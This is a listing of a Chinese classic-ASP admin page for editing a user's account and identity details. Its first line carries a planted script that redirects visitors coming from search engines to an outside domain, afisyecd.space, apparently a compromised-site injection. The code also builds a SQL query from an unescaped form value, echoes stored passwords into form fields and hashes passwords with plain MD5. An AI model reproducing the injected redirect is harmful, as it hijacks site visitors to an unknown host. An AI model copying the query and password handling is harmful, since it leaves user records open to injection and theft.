d:\wwwroot\wuchunhua\admin\edituser.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <!--#include file="md5.asp"-->
003: <%if session("china_admin")="" then
004: response.redirect "login.asp"
005: end if
006:
007: theid=request("id")
008: if isnumeric(theid)=false then
009: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
010: response.end
011: end if
012:
013: uid=HtmlEncode(trim(request.form("uid")))
014: pwd=trim(request.form("pwd"))
015: username=HtmlEncode(trim(request.form("username")))
016: cardid=HtmlEncode(trim(request.form("cardid")))
017: tel=HtmlEncode(trim(request.form("tel")))
018: email=HtmlEncode(trim(request.form("email")))
019: qq=HtmlEncode(trim(request.form("qq")))
020:
021: sql="select * from china_user where id="&theid
022: set rs=server.createobject("adodb.recordset")
023: rs.open sql,conn,1,3
024: if uid<>"" then
025: rs("uid")=uid
026: if pwd=rs("pwd") then
027: rs("pwd")=pwd
028: else
029: rs("pwd")=md5(pwd)
030: end if
031: rs("username")=username
032: rs("cardid")=cardid
033: rs("tel")=tel
034: if email = "" then email = "未填"
035: rs("email")=email
036: if qq = "" then qq = "未填"
037: rs("qq")=qq
038: rs("mark")=request.form("mark")
039: rs.update
040: rs.close  
041: set rs=nothing                                                                                    
042: sql="select * from china_data where uid='"&uid&"'"
043: set rs=server.createobject("adodb.recordset")
044: rs.open sql,conn,1,3
045: if not rs.eof then
046: For iPage = 1 To rs.recordcount
047: rs("username")=username
048: rs("tel")=tel
049: rs.update
050: rs.movenext    
051: if rs.eof then exit for
052: next
053: rs.close  
054: set rs=nothing
055: conn.close  
056: set conn=nothing
057: end if
058: response.redirect "ok.asp"
059: response.end
060: end if%
>
061:
062: <html>
063: <head>
064: <link rel="stylesheet" type="text/css" href="style.css">
065: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
066: <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
067: <meta name="ProgId" content="FrontPage.Editor.Document">
068: <title>用户资料修改</title>
069: <script language="JavaScript">
070: function CheckForm()
071: {
072:
073:                    //检查年月日是否是合法日期
074:
075:                    function isdate(intYear,intMonth,intDay){
076:
077:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
078:
079:                       if(intMonth>12||intMonth<1) return false;  
080:
081:                       if ( intDay<1||intDay>31)return false;  
082:
083:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
084:
085:                       if(intMonth==2){  
086:
087:                          if(intDay>29) return false;    
088:
089:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
090:
091:                         }  
092:
093:                       return true;  
094:
095:                    }  
096:
097:
098:
099:                    //检查身份证是否是正确格式
100:
101:                    function checkCard(cardid)
102:
103:                    {
104:
105:                        var pattern;
106:
107:                             if (cardid.length==15)
108:
109:                             {
110:
111:                                  pattern= /^\d{15}$/;//正则表达式,15位且全是数字
112:
113:                                  if (pattern.exec(cardid)==null)
114:
115:                                  {
116:
117:                                     alert("15位身份证号码必须为数字!")
118:
119:                                       return false;
120:
121:                                  }
122:
123:                                  if (!isdate("19"+cardid.substring(6,8),cardid.substring(8,10),cardid.substring(10,12)))
124:
125:                                  {
126:
127:                               alert("身份证号码中所含日期不正确")
128:
129:                                  return false;}
130:
131:                                 
132:
133:                             }
134:
135:                             else     if (cardid.length==18)
136:
137:                             {
138:
139:                                  pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
140:
141:                                  if (pattern.exec(cardid)==null)
142:
143:                                  {
144:
145:                                             alert("18位身份证号码必须为数字!")
146:
147:                                           return false;
148:
149:                                  }
150:
151:                                  if (!isdate(cardid.substring(6,10),cardid.substring(10,12),cardid.substring(12,14)))
152:
153:                                  {
154:
155:                                         alert("身份证号码中所含日期不正确")
156:
157:                                  return false;
158:
159:                                  }
160:
161:                                  var strJiaoYan  =[  "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
162:
163:                                  var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
164:
165:                                  var intTemp=0;
166:
167:                                  for(i = 0; i < cardid.length - 1; i++)
168:
169:                                  intTemp +=  cardid.substring(i, i + 1)  * intQuan[i];  
170:
171:                                  intTemp %= 11;
172:
173:                                  if(cardid.substring(cardid.length - 1,cardid.length).toUpperCase()!=strJiaoYan[intTemp])
174:
175:                                  {
176:
177:                                         alert("身份证末位验证码失败!")
178:
179:                                  return false;
180:
181:                                  }
182:
183:                             }
184:
185:                             else
186:
187:                             {
188:
189:                             alert("身份证号长度必须为15或18!")
190:
191:                             return false;
192:
193:                             }
194:
195:                     return true;  
196:
197:                    }
198:
199: function isUserID(s) {
200:     for(i=0;i<s.length;i++) {
201:         var c=s.charAt(i);
202:         if(!((c>='A'&&c<='Z')||(c>='a'&&c<='z')||(c>='0'&&c<='9')||c=='_'))
203:         {
204:             alert("用户名必须使用英文字符,数字 0~9或者下划线 _ ");
205:             return false;
206:         }
207:     }
208:     return true;
209: }
210:
211:
212:
213:    if (document.reg.uid.value.length == 0) {
214:       alert("请输入您的用户名");
215:       document.reg.uid.focus();
216:       return false;
217:    }
218:          if(isUserID(document.reg.uid.value)==false)
219:       {
220:          document.reg.uid.focus();
221:          return false;
222:       }
223:        if(document.reg.uid.value.length < 2){
224:       alert("用户名不能低于2位");
225:       document.reg.uid.focus();
226:       return false;
227:    }  
228:    if (document.reg.pwd.value.length == 0) {
229:       alert("请输入您的密码");
230:       document.reg.pwd.focus();
231:       return false;
232:    }
233:
234:     if(document.reg.pwd.value.length<4){
235:       alert("密码不能低于4位");
236:       document.reg.pwd.focus();
237:       return false;
238:    }  
239:    if (document.reg.checkpwd.value.length == 0) {
240:       alert("请确认您的密码");
241:       document.reg.checkpwd.focus();
242:       return false;
243:    }
244:    if (document.reg.pwd.value != document.reg.checkpwd.value) {
245:       alert("您两次输入的密码不一样!请重新输入");
246:       document.reg.checkpwd.focus();
247:       return false;
248:    }
249:
250:
251:    if (document.reg.UserName.value.length == 0) {
252:       alert("请输入您的真实姓名");
253:       document.reg.UserName.focus();
254:       return false;
255:    }
256:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
257:    var errorChar
258:    errorChar = isCharsInBag(reg.UserName.value,str)
259:    if (errorChar != "" )
260:    {
261:       alert('真实姓名必须是中文');
262:       reg.UserName.focus();
263:       return false;
264:    }
265: function isCharsInBag (s, bag)
266: {
267: var i,c;
268: for (i = 0; i < s.length; i++)
269: {
270: c = s.charAt(i);//字符串s中的字符
271: if (bag.indexOf(c) > -1)
272: return c;
273: }
274: return "";
275: }
276:   
277:        if(document.reg.UserName.value.length<2||document.reg.UserName.value.length>4){
278:       alert("真实姓名不能少于2字多于4字");
279:       document.reg.UserName.focus();
280:       return false;
281:    }  
282:    <%if webcardid="1" then%>
283:    if (document.reg.cardid.value.length == 0) {
284:       alert("请填写您的身份证号!");
285:       document.reg.cardid.focus();
286:       return false;
287:    }
288:       if(checkCard(document.reg.cardid.value)==false)
289:       {
290:          document.reg.cardid.focus();
291:          return false;
292:       }
293:       <%end if%>
294:       if (document.reg.tel.value.length == 0) {
295:       alert("请输入您的联系电话,不能不于七位数!");
296:       document.reg.tel.focus();
297:       return false;
298:    }
299:    if(!isUserID(reg.uid.value))
300:    {
301:
302:       alert(report);
303:       reg.uid.focus();
304:       return false;
305:    }
306:
307:    return true;
308: }
309: </script>
310: </head>
311:
312: <body background="images/background.gif">
313: <div align="center">
314: <form action="" name=reg method=post onSubmit="return CheckForm();">      
315:                 <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
316:                   <tr>
317:                     <td height="20" bgcolor="#799AE1" align="center">
318:                       <table width="98%"  border="0" cellspacing="0" cellpadding="0">
319:                         <tr>
320:                           <td width="55"> </td>
321:                           <td align="center"><font color="#FFFFFF" style="font-size:14px">用 户 资 料 修 改</font></td>
322:                           <td width="35"> </td>
323:                         </tr>
324:                     </table></td>
325:                   </tr>
326:                   <tr>
327:                     <td bgcolor="#FFFFFF"> <br>
328:                       <TABLE cellSpacing=1 cellPadding=3 width="98%" align=center bgColor=#D6DFF7 border=0>
329:                       <TBODY>
330:                         <TR>
331:                           <TD width="100" bgcolor="#FFFFFF" class=reg_t><div align="right">用户名:</div></TD>
332:                           <TD bgcolor="#FFFFFF">
333:                             <input name=uid value="<%=rs("uid")%>" size=18 maxlength=20>                            </TD>
334:                         </TR>
335:                         <TR>
336:                           <TD bgcolor="#FFFFFF" class=reg_t><div align="right">密码:</div></TD>
337:                           <TD bgcolor="#FFFFFF">
338:                             <INPUT type=password maxLength=16
339: size=18 value="<%=rs("pwd")%>" name=pwd>
340:                             <font color="#FF0000">*</font> 您的登陆口令(4~16个字符)</TD>
341:                         </TR>
342:                         <TR>
343:                           <TD bgcolor="#FFFFFF" class=reg_t><div align="right">确认密码:</div></TD>
344:                           <TD bgcolor="#FFFFFF">
345:                             <INPUT name=checkpwd type=password value="<%=rs("pwd")%>"
346: size=18 maxLength=16>
347:                             <font color="#FF0000">*</font> 确认您的密码</TD>
348:                         </TR>
349:                         <TR>
350:                           <TD bgcolor="#FFFFFF" class=reg_t><div align="right">姓 名:</div></TD>
351:                           <TD bgcolor="#FFFFFF">
352:                             <INPUT name=UserName value="<%=rs("username")%>" size=18 maxLength=10>
353:                             <font color="#FF0000">*</font> 您的真实姓名</TD>
354:                         </TR>
355:                         <TR <%if webcardid="0" then%>style="display:none"<%end if%>>
356:                           <TD align="right" bgcolor="#FFFFFF" class=reg_t>身份证号:</TD>
357:                           <TD bgcolor="#FFFFFF">
358:                             <INPUT name=cardid value="<%=rs("cardid")%>" size=18 maxLength=18>
359:                             <font color="#FF0000">*</font> 本站保密,如实填写</TD>
360:                         </TR>
361:                         <TR>
362:                           <TD bgcolor="#FFFFFF" class=reg_t><div align="right">联系电话:</div></TD>
363:                           <TD bgcolor="#FFFFFF">
364:                             <INPUT maxLength=20 size=18 value="<%=rs("tel")%>" name=tel>
365:                             <font color="#FF0000">*</font> 您最常用的电话</TD>
366:                         </TR>
367:                         <TR>
368:                           <TD bgcolor="#FFFFFF" class=reg_t><div align="right">Email:</div></TD>
369:                           <TD bgcolor="#FFFFFF">
370:                             <INPUT name=email value="<%=rs("email")%>" size=18 maxLength=40>
371:                           </TD>
372:                         </TR>
373:                         <TR>
374:                           <TD bgcolor="#FFFFFF" class=reg_t><div align="right">QQ:</div></TD>
375:                           <TD bgcolor="#FFFFFF"><INPUT name=qq value="<%=rs("qq")%>" size=18 maxLength=15 onKeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;">
376:                           </TD>
377:                         </TR>
378:                         <TR>
379:                           <TD align="right" bgcolor="#FFFFFF" class=reg_t>是否通过:</TD>
380:                           <TD bgcolor="#FFFFFF"><input name="mark" type="radio" value="0" <%If rs("mark")="0" Then%>checked<%End If%>>
381:         尚未通过
382:           <input type="radio" name="mark" value="1" <%If rs("mark")="1" Then%>checked<%End If%>>
383:         已经通过</TD>
384:                         </TR>
385:                         <TR bgColor=#ffffff>
386:                           <TD></TD>
387:                           <TD><input type="submit" value="确定" name="submit">
388: &nbsp;
389:         <input type="reset" value="取消" name="reset">
390: &nbsp;
391:         <input type="button" value="返回" name="back" onclick="javascript:history.back()"></TD>
392:                         </TR>
393:                       </TBODY>
394:                     </TABLE>                      <br>                    </td>
395:                   </tr>
396:                 </table>
397:    </FORM>
398: </div>                                                                                        
399: <br>                                                                                                                      
400: </body>                                                                                                                          
401:                                                                                                                           
402: </html>                    
403: <%rs.close                      
404: set rs=nothing                                                                                                        
405: conn.close                      
406: set conn=nothing%
>
407:
408: